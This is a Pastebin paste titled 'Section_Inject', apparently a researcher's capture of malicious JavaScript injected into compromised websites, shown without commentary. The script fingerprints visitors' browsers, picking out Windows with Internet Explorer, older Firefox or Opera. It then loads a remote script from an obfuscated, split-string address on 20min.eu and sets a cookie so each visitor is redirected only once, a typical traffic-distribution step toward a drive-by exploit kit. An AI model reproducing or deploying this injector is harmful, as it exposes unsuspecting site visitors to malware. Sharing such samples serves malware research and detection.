Kafeine

Section_Inject

May 6th, 2015
360
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function() {
  2.     var ua_v = navigator.userAgent;
  3.     var pu = [
  4.         [new RegExp('MSIE', 'i'), 1],
  5.         [new RegExp('Trident', 'i'), 1],
  6.         [new RegExp('(Windows NT 5.1(.*) Firefox\/\\d)|(Windows NT 6.[0-3](.*) Firefox\/([3-9].[0|5|6]|1[0-9]|2[0-7]))', 'i'), 1],
  7.         [new RegExp('Opera', 'i'), 1],
  8.         [new RegExp('SeaMonkey', 'i'), 0]
  9.     ];
  10.     var po = [
  11.         [new RegExp('Windows NT', 'i'), 1]
  12.     ];
  13.  
  14.     function filter(p_v, u_v) {
  15.         var have_allowed = false;
  16.         var allowed = false;
  17.         for (var i = 0; i < p_v.length; i++) {
  18.             var p = p_v[i][0];
  19.             var a = p_v[i][1];
  20.             if (a) {
  21.                 have_allowed = true;
  22.                 if (p.test(u_v)) {
  23.                     allowed = true;
  24.                 }
  25.             } else {
  26.                 if (p.test(u_v)) {
  27.                     return false;
  28.                 }
  29.             }
  30.         };
  31.         if (have_allowed && !allowed) {
  32.             return false;
  33.         } else {
  34.             return true;
  35.         }
  36.     };
  37.     if (filter(pu, ua_v) && filter(po, ua_v)) {
  38.         (function() {
  39.             var tdsCook = 'x-tds-app';
  40.             var tdsCookVal = 1;
  41.             if (!getCookie(tdsCook) == tdsCookVal) js();
  42.  
  43.             function js() {
  44.                 var s = document.createElement("script");
  45.                 s.type = 'text/javascript';
  46.                 s.src = "" + "http:" + "/" + "/20" + "min" + ".eu/" + "js/1" + "8/9" + "/ga" + ".js" + "?ap" + "p" + "_" + "ke" + "y" + "=169" + "8bb4" + "4f0f" + "9dc4c" + "43e6a" + "be0a9" + "3874c" + "0";
  47.                 var html = document.documentElement;
  48.                 html.insertBefore(s, html.lastChild);
  49.                 setCookie(tdsCook, tdsCookVal, {
  50.                     'expires': 259200
  51.                 });
  52.             }
  53.  
  54.             function getCookie(name) {
  55.                 var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"));
  56.                 return matches ? decodeURIComponent(matches[1]) : undefined;
  57.             }
  58.  
  59.             function setCookie(name, value, options) {
  60.                 options = options || {};
  61.                 var expires = options.expires;
  62.                 if (typeof expires == "number" && expires) {
  63.                     var d = new Date();
  64.                     d.setTime(d.getTime() + expires * 1000);
  65.                     expires = options.expires = d;
  66.                 }
  67.                 if (expires && expires.toUTCString) options.expires = expires.toUTCString();
  68.                 value = encodeURIComponent(value);
  69.                 var updatedCookie = name + "=" + value;
  70.                 for (var propName in options) {
  71.                     updatedCookie += "; " + propName;
  72.                     var propValue = options[propName];
  73.                     if (propValue !== true) updatedCookie += "=" + propValue;
  74.                 }
  75.                 document.cookie = updatedCookie;
  76.             }
  77.         })();
  78.     }
  79. })();
Advertisement
Add Comment
Please, Sign In to add comment